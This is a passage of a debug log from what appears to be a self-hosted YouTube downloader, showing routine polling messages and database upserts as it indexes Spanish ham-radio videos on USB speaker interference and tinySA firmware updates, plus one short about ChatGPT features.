Will check again in 1000ms 23:05:22.441 [debug] Current batch of media processed. Will check again in 1000ms 23:05:22.524 [debug] Current batch of media processed. Will check again in 1000ms 23:05:23.442 [debug] Current batch of media processed. Will check again in 1000ms 23:05:23.525 [debug] Current batch of media processed. Will check again in 1000ms 23:05:24.443 [debug] Current batch of media processed. Will check again in 1000ms 23:05:24.526 [debug] Current batch of media processed. Will check again in 1000ms 23:05:25.444 [debug] Current batch of media processed. Will check again in 1000ms 23:05:25.527 [debug] Current batch of media processed. Will check again in 1000ms 23:05:26.445 [debug] Current batch of media processed. Will check again in 1000ms 23:05:26.528 [debug] Current batch of media processed. Will check again in 1000ms 23:05:27.446 [debug] Current batch of media processed. Will check again in 1000ms 23:05:27.529 [debug] Current batch of media processed. Will check again in 1000ms 23:05:28.447 [debug] Current batch of media processed. Will check again in 1000ms 23:05:28.530 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Tengo unos altavoces para portatil, alimentados por USB, que me dan problemas. Acompáñame y veremos como solucionar la interferencia que meten en la HF... Por cierto, la primera solución dada en el video no funciona, seguir viendo para ver la solución real al problema al final del video. He conservado el proceso de diagnóstico como referencia, para que se vean las cosas que he hecho.\n\n#interferencia #hf #radioaficionados #altavoces #usb #datasheet #diyelectronics #hamradio\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:34 - Intro canal\n00:52 - La interferencia\n02:13 - Espectro interferente\n03:00 - Interior altavoz\n03:59 - Datasheet LTK5209\n06:32 - Filtro EMI\n07:20 - tinySA y señal limpia\n07:41 - Vista SDR\n08:30 - Solución real a la interferencia\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 989, "filename" => "/downloads/music/ea3grn/101 - SOLUCIONANDO INTERFERENCIA ALTAVOCES USB EN RADIOS.m4a", "id" => "aPWQi-A-e6Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aPWQi-A-e6Y", "playlist_index" => 80, "timestamp" => 1677773631, "title" => "101 - SOLUCIONANDO INTERFERENCIA ALTAVOCES USB EN RADIOS", "upload_date" => "20230302"} 23:05:28.531 [debug] QUERY OK source="sources" db=0.5ms idle=1521.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:05:28.532 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=746.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:05:28.533 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=746.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-02 16:13:51Z], 3] 23:05:28.535 [debug] QUERY OK source="media_items" db=1.1ms idle=747.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Tengo unos altavoces para portatil, alimentados por USB, que me dan problemas. Acompáñame y veremos como solucionar la interferencia que meten en la HF... Por cierto, la primera solución dada en el video no funciona, seguir viendo para ver la solución real al problema al final del video. He conservado el proceso de diagnóstico como referencia, para que se vean las cosas que he hecho.\n\n#interferencia #hf #radioaficionados #altavoces #usb #datasheet #diyelectronics #hamradio\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:34 - Intro canal\n00:52 - La interferencia\n02:13 - Espectro interferente\n03:00 - Interior altavoz\n03:59 - Datasheet LTK5209\n06:32 - Filtro EMI\n07:20 - tinySA y señal limpia\n07:41 - Vista SDR\n08:30 - Solución real a la interferencia\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "101 - SOLUCIONANDO INTERFERENCIA ALTAVOCES USB EN RADIOS", "f37b058f-39db-444c-a2ce-4f046ff4396e", 989, false, "aPWQi-A-e6Y", "https://www.youtube.com/watch?v=aPWQi-A-e6Y", 80, "/downloads/music/ea3grn/101 - SOLUCIONANDO INTERFERENCIA ALTAVOCES USB EN RADIOS.m4a", false, false, false, 3, [], 98, ~U[2023-03-02 16:13:51Z], ~U[2026-02-07 22:05:28Z], ~U[2026-02-07 22:05:28Z], "Tengo unos altavoces para portatil, alimentados por USB, que me dan problemas. Acompáñame y veremos como solucionar la interferencia que meten en la HF... Por cierto, la primera solución dada en el video no funciona, seguir viendo para ver la solución real al problema al final del video. He conservado el proceso de diagnóstico como referencia, para que se vean las cosas que he hecho.\n\n#interferencia #hf #radioaficionados #altavoces #usb #datasheet #diyelectronics #hamradio\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:34 - Intro canal\n00:52 - La interferencia\n02:13 - Espectro interferente\n03:00 - Interior altavoz\n03:59 - Datasheet LTK5209\n06:32 - Filtro EMI\n07:20 - tinySA y señal limpia\n07:41 - Vista SDR\n08:30 - Solución real a la interferencia\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "101 - SOLUCIONANDO INTERFERENCIA ALTAVOCES USB EN RADIOS", 989, false, "aPWQi-A-e6Y", "https://www.youtube.com/watch?v=aPWQi-A-e6Y", "/downloads/music/ea3grn/101 - SOLUCIONANDO INTERFERENCIA ALTAVOCES USB EN RADIOS.m4a", false, 3, ~U[2023-03-02 16:13:51Z]] 23:05:28.535 [debug] QUERY OK source="sources" db=0.4ms idle=523.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:05:28.536 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:05:28.537 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1466] 23:05:28.537 [debug] Current batch of media processed. Will check again in 1000ms 23:05:29.448 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 11: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo ha revolucionado la creación de informes con su herramienta Deep Research. Sumérgete en investigaciones profundas y transforma tu forma de trabajar. ¡Únete a nosotros para explorar esta innovadora solución! #LienzoRevolution #DeepResearch #InformesInteligentes #HerramientasInnovadoras #InvestigacionProfunda #Productividad #ChatGPT #TransformacionDigital #AnalisisDeDatos #Tecnologia", "duration" => 21, "filename" => "/downloads/music/IA mí QUÉ/Lienzo: ¡Informes Revolucionarios y Búsqueda Profunda que te Volarán la Cabeza!.m4a", "id" => "d2cyJstTPts", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/d2cyJstTPts", "playlist_index" => 24, "timestamp" => 1746961178, "title" => "Lienzo: ¡Informes Revolucionarios y Búsqueda Profunda que te Volarán la Cabeza!", "upload_date" => "20250511"} 23:05:29.449 [debug] QUERY OK source="sources" db=0.6ms idle=914.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:05:29.450 [debug] QUERY OK source="sources" db=0.4ms idle=914.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:05:29.451 [debug] QUERY OK source="media_items" db=0.7ms idle=914.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-11 10:59:38Z], 2] 23:05:29.452 [debug] QUERY OK source="media_items" db=1.0ms idle=914.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 11: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo ha revolucionado la creación de informes con su herramienta Deep Research. Sumérgete en investigaciones profundas y transforma tu forma de trabajar. ¡Únete a nosotros para explorar esta innovadora solución! #LienzoRevolution #DeepResearch #InformesInteligentes #HerramientasInnovadoras #InvestigacionProfunda #Productividad #ChatGPT #TransformacionDigital #AnalisisDeDatos #Tecnologia", "Lienzo: ¡Informes Revolucionarios y Búsqueda Profunda que te Volarán la Cabeza!", "fad0627c-6d38-46d0-a640-fc7d96c46e68", 21, false, "d2cyJstTPts", "https://www.youtube.com/shorts/d2cyJstTPts", 24, "/downloads/music/IA mí QUÉ/Lienzo: ¡Informes Revolucionarios y Búsqueda Profunda que te Volarán la Cabeza!.m4a", false, false, true, 2, [], 96, ~U[2025-05-11 10:59:38Z], ~U[2026-02-07 22:05:29Z], ~U[2026-02-07 22:05:29Z], "PARTE 11: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo ha revolucionado la creación de informes con su herramienta Deep Research. Sumérgete en investigaciones profundas y transforma tu forma de trabajar. ¡Únete a nosotros para explorar esta innovadora solución! #LienzoRevolution #DeepResearch #InformesInteligentes #HerramientasInnovadoras #InvestigacionProfunda #Productividad #ChatGPT #TransformacionDigital #AnalisisDeDatos #Tecnologia", "Lienzo: ¡Informes Revolucionarios y Búsqueda Profunda que te Volarán la Cabeza!", 21, false, "d2cyJstTPts", "https://www.youtube.com/shorts/d2cyJstTPts", "/downloads/music/IA mí QUÉ/Lienzo: ¡Informes Revolucionarios y Búsqueda Profunda que te Volarán la Cabeza!.m4a", true, 2, ~U[2025-05-11 10:59:38Z]] 23:05:29.453 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=439.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:05:29.454 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:05:29.455 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1408] 23:05:29.455 [debug] Current batch of media processed. Will check again in 1000ms 23:05:29.537 [debug] Current batch of media processed. Will check again in 1000ms 23:05:30.455 [debug] Current batch of media processed. Will check again in 1000ms 23:05:30.538 [debug] Current batch of media processed. Will check again in 1000ms 23:05:31.456 [debug] Current batch of media processed. Will check again in 1000ms 23:05:31.539 [debug] Current batch of media processed. Will check again in 1000ms 23:05:32.457 [debug] Current batch of media processed. Will check again in 1000ms 23:05:32.540 [debug] Current batch of media processed. Will check again in 1000ms 23:05:33.458 [debug] Current batch of media processed. Will check again in 1000ms 23:05:33.541 [debug] Current batch of media processed. Will check again in 1000ms 23:05:34.459 [debug] Current batch of media processed. Will check again in 1000ms 23:05:34.542 [debug] Current batch of media processed. Will check again in 1000ms 23:05:35.460 [debug] Current batch of media processed. Will check again in 1000ms 23:05:35.543 [debug] Current batch of media processed. Will check again in 1000ms 23:05:36.461 [debug] Current batch of media processed. Will check again in 1000ms 23:05:36.544 [debug] Current batch of media processed. Will check again in 1000ms 23:05:37.462 [debug] Current batch of media processed. Will check again in 1000ms 23:05:37.545 [debug] Current batch of media processed. Will check again in 1000ms 23:05:38.463 [debug] Current batch of media processed. Will check again in 1000ms 23:05:38.546 [debug] Current batch of media processed. Will check again in 1000ms 23:05:39.464 [debug] Current batch of media processed. Will check again in 1000ms 23:05:39.547 [debug] Current batch of media processed. Will check again in 1000ms 23:05:40.465 [debug] Current batch of media processed. Will check again in 1000ms 23:05:40.548 [debug] Current batch of media processed. Will check again in 1000ms 23:05:41.466 [debug] Current batch of media processed. Will check again in 1000ms 23:05:41.549 [debug] Current batch of media processed. Will check again in 1000ms 23:05:42.467 [debug] Current batch of media processed. Will check again in 1000ms 23:05:42.550 [debug] Current batch of media processed. Will check again in 1000ms 23:05:43.468 [debug] Current batch of media processed. Will check again in 1000ms 23:05:43.551 [debug] Current batch of media processed. Will check again in 1000ms 23:05:44.469 [debug] Current batch of media processed. Will check again in 1000ms 23:05:44.552 [debug] Current batch of media processed. Will check again in 1000ms 23:05:45.470 [debug] Current batch of media processed. Will check again in 1000ms 23:05:45.553 [debug] Current batch of media processed. Will check again in 1000ms 23:05:46.471 [debug] Current batch of media processed. Will check again in 1000ms 23:05:46.554 [debug] Current batch of media processed. Will check again in 1000ms 23:05:47.472 [debug] Current batch of media processed. Will check again in 1000ms 23:05:47.555 [debug] Current batch of media processed. Will check again in 1000ms 23:05:48.473 [debug] Current batch of media processed. Will check again in 1000ms 23:05:48.556 [debug] Current batch of media processed. Will check again in 1000ms 23:05:49.474 [debug] Current batch of media processed. Will check again in 1000ms 23:05:49.557 [debug] Current batch of media processed. Will check again in 1000ms 23:05:50.475 [debug] Current batch of media processed. Will check again in 1000ms 23:05:50.558 [debug] Current batch of media processed. Will check again in 1000ms 23:05:51.339 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:51.476 [debug] Current batch of media processed. Will check again in 1000ms 23:05:51.559 [debug] Current batch of media processed. Will check again in 1000ms 23:05:52.477 [debug] Current batch of media processed. Will check again in 1000ms 23:05:52.560 [debug] Current batch of media processed. Will check again in 1000ms 23:05:53.478 [debug] Current batch of media processed. Will check again in 1000ms 23:05:53.561 [debug] Current batch of media processed. Will check again in 1000ms 23:05:54.479 [debug] Current batch of media processed. Will check again in 1000ms 23:05:54.562 [debug] Current batch of media processed. Will check again in 1000ms 23:05:55.480 [debug] Current batch of media processed. Will check again in 1000ms 23:05:55.563 [debug] Current batch of media processed. Will check again in 1000ms 23:05:56.481 [debug] Current batch of media processed. Will check again in 1000ms 23:05:56.564 [debug] Current batch of media processed. Will check again in 1000ms 23:05:57.482 [debug] Current batch of media processed. Will check again in 1000ms 23:05:57.565 [debug] Current batch of media processed. Will check again in 1000ms 23:05:58.483 [debug] Current batch of media processed. Will check again in 1000ms 23:05:58.566 [debug] Current batch of media processed. Will check again in 1000ms 23:05:59.484 [debug] Current batch of media processed. Will check again in 1000ms 23:05:59.567 [debug] Current batch of media processed. Will check again in 1000ms 23:06:00.149 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:00.485 [debug] Current batch of media processed. Will check again in 1000ms 23:06:00.568 [debug] Current batch of media processed. Will check again in 1000ms 23:06:01.486 [debug] Current batch of media processed. Will check again in 1000ms 23:06:01.569 [debug] Current batch of media processed. Will check again in 1000ms 23:06:02.487 [debug] Current batch of media processed. Will check again in 1000ms 23:06:02.570 [debug] Current batch of media processed. Will check again in 1000ms 23:06:03.488 [debug] Current batch of media processed. Will check again in 1000ms 23:06:03.571 [debug] Current batch of media processed. Will check again in 1000ms 23:06:04.489 [debug] Current batch of media processed. Will check again in 1000ms 23:06:04.572 [debug] Current batch of media processed. Will check again in 1000ms 23:06:05.490 [debug] Current batch of media processed. Will check again in 1000ms 23:06:05.573 [debug] Current batch of media processed. Will check again in 1000ms 23:06:06.491 [debug] Current batch of media processed. Will check again in 1000ms 23:06:06.574 [debug] Current batch of media processed. Will check again in 1000ms 23:06:07.492 [debug] Current batch of media processed. Will check again in 1000ms 23:06:07.575 [debug] Current batch of media processed. Will check again in 1000ms 23:06:08.493 [debug] Current batch of media processed. Will check again in 1000ms 23:06:08.578 [debug] Current batch of media processed. Will check again in 1000ms 23:06:09.494 [debug] Current batch of media processed. Will check again in 1000ms 23:06:09.579 [debug] Current batch of media processed. Will check again in 1000ms 23:06:10.495 [debug] Current batch of media processed. Will check again in 1000ms 23:06:10.580 [debug] Current batch of media processed. Will check again in 1000ms 23:06:11.496 [debug] Current batch of media processed. Will check again in 1000ms 23:06:11.581 [debug] Current batch of media processed. Will check again in 1000ms 23:06:12.497 [debug] Current batch of media processed. Will check again in 1000ms 23:06:12.582 [debug] Current batch of media processed. Will check again in 1000ms 23:06:13.498 [debug] Current batch of media processed. Will check again in 1000ms 23:06:13.583 [debug] Current batch of media processed. Will check again in 1000ms 23:06:14.499 [debug] Current batch of media processed. Will check again in 1000ms 23:06:14.584 [debug] Current batch of media processed. Will check again in 1000ms 23:06:15.500 [debug] Current batch of media processed. Will check again in 1000ms 23:06:15.585 [debug] Current batch of media processed. Will check again in 1000ms 23:06:16.501 [debug] Current batch of media processed. Will check again in 1000ms 23:06:16.586 [debug] Current batch of media processed. Will check again in 1000ms 23:06:17.502 [debug] Current batch of media processed. Will check again in 1000ms 23:06:17.587 [debug] Current batch of media processed. Will check again in 1000ms 23:06:18.503 [debug] Current batch of media processed. Will check again in 1000ms 23:06:18.588 [debug] Current batch of media processed. Will check again in 1000ms 23:06:19.504 [debug] Current batch of media processed. Will check again in 1000ms 23:06:19.589 [debug] Current batch of media processed. Will check again in 1000ms 23:06:20.505 [debug] Current batch of media processed. Will check again in 1000ms 23:06:20.590 [debug] Current batch of media processed. Will check again in 1000ms 23:06:21.341 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:21.506 [debug] Current batch of media processed. Will check again in 1000ms 23:06:21.591 [debug] Current batch of media processed. Will check again in 1000ms 23:06:22.507 [debug] Current batch of media processed. Will check again in 1000ms 23:06:22.592 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video os detallo los pasos para actualizar el firmware del tinySA ULTRA y realizar después la calibración del dispositivo. Es interesante actualizarlo de vez en cuando a fin de tener resueltos posibles problemas (además de recibir nuevas funcionalidades).\n\nToda la información está en la web del producto: https://tinysa.org\n\n-------- Contenido del video --------\n00:00 - Presentación.\n00:48 - Intro canal\n01:05 - Version actual\n02:20 - Descargando el firmware\n05:19 - Descargando utilidades\n07:57 - Instalar driver STM32\n13:49 - Actualizando\n14:51 - Calibracion\n\n#tinySAULTRA #hamradio #radioaficionados #calibracion #tinysa #analizadorespectro #generadorseñales #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1147, "filename" => "/downloads/music/ea3grn/100 - ACTUALIZANDO FIRMWARE TINYSA ULTRA Y CALIBRACION.m4a", "id" => "LeH6O6guFFU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LeH6O6guFFU", "playlist_index" => 81, "timestamp" => 1677168019, "title" => "100 - ACTUALIZANDO FIRMWARE TINYSA ULTRA Y CALIBRACION", "upload_date" => "20230223"} 23:06:22.593 [debug] QUERY OK source="sources" db=0.5ms idle=1806.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:06:22.594 [debug] QUERY OK source="sources" db=0.4ms idle=1807.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:06:22.595 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1484.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-23 16:00:19Z], 3] 23:06:22.597 [debug] QUERY OK source="media_items" db=1.1ms idle=1254.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video os detallo los pasos para actualizar el firmware del tinySA ULTRA y realizar después la calibración del dispositivo. Es interesante actualizarlo de vez en cuando a fin de tener resueltos posibles problemas (además de recibir nuevas funcionalidades).\n\nToda la información está en la web del producto: https://tinysa.org\n\n-------- Contenido del video --------\n00:00 - Presentación.\n00:48 - Intro canal\n01:05 - Version actual\n02:20 - Descargando el firmware\n05:19 - Descargando utilidades\n07:57 - Instalar driver STM32\n13:49 - Actualizando\n14:51 - Calibracion\n\n#tinySAULTRA #hamradio #radioaficionados #calibracion #tinysa #analizadorespectro #generadorseñales #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "100 - ACTUALIZANDO FIRMWARE TINYSA ULTRA Y CALIBRACION", "c971a57e-3852-4564-81a1-5b821dce7527", 1147, false, "LeH6O6guFFU", "https://www.youtube.com/watch?v=LeH6O6guFFU", 81, "/downloads/music/ea3grn/100 - ACTUALIZANDO FIRMWARE TINYSA ULTRA Y CALIBRACION.m4a", false, false, false, 3, [], 98, ~U[2023-02-23 16:00:19Z], ~U[2026-02-07 22:06:22Z], ~U[2026-02-07 22:06:22Z], "En este video os detallo los pasos para actualizar el firmware del tinySA ULTRA y realizar después la calibración del dispositivo. Es interesante actualizarlo de vez en cuando a fin de tener resueltos posibles problemas (además de recibir nuevas funcionalidades).\n\nToda la información está en la web del 